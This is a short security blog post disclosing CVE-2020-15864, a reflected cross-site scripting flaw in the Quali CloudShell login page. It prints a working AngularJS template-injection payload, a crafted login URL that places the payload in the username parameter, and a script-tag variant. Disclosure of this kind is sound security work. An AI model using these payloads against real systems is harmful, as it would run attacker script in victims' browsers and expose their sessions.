Burninator Sec

This blog is about the educational (and sometimes entertainment) value of simple hacks. For active vulnerabilities, real names are concealed.

Sunday, October 4, 2020

CVE-2020-15864 - XSS in Quali CloudShell Login

Payload:

```
{{constructor.constructor(%27alert(19891337)%27)()}
```

Add "username" as a parameter to the login URL to reference the username field of the Quali CloudShell login page, and the JavaScript will execute when they visit the URL, i.e.

```
https://victim/Account/Login?
ReturnUrl%252fAccount%252f%&username=
{{constructor.constructor(%27alert(1337)%27)()}}
```

Note: <sCript>alert(1337)<scRipt> works too, but isn't as dangerous because it won't autoload through the URL like the `constructor` payload does.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15864

Posted by burninator at 11:48 AM

Labels: CVE, XSS

No comments:

Post a Comment

To leave a comment, click the button below to sign in with Google.

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)

Twitter

@burninatorsec

Disclaimer

Information in this blog is for educational purposes only. I am not liable for damages or illegal activity caused directly or indirectly based on the information shared here.

Archive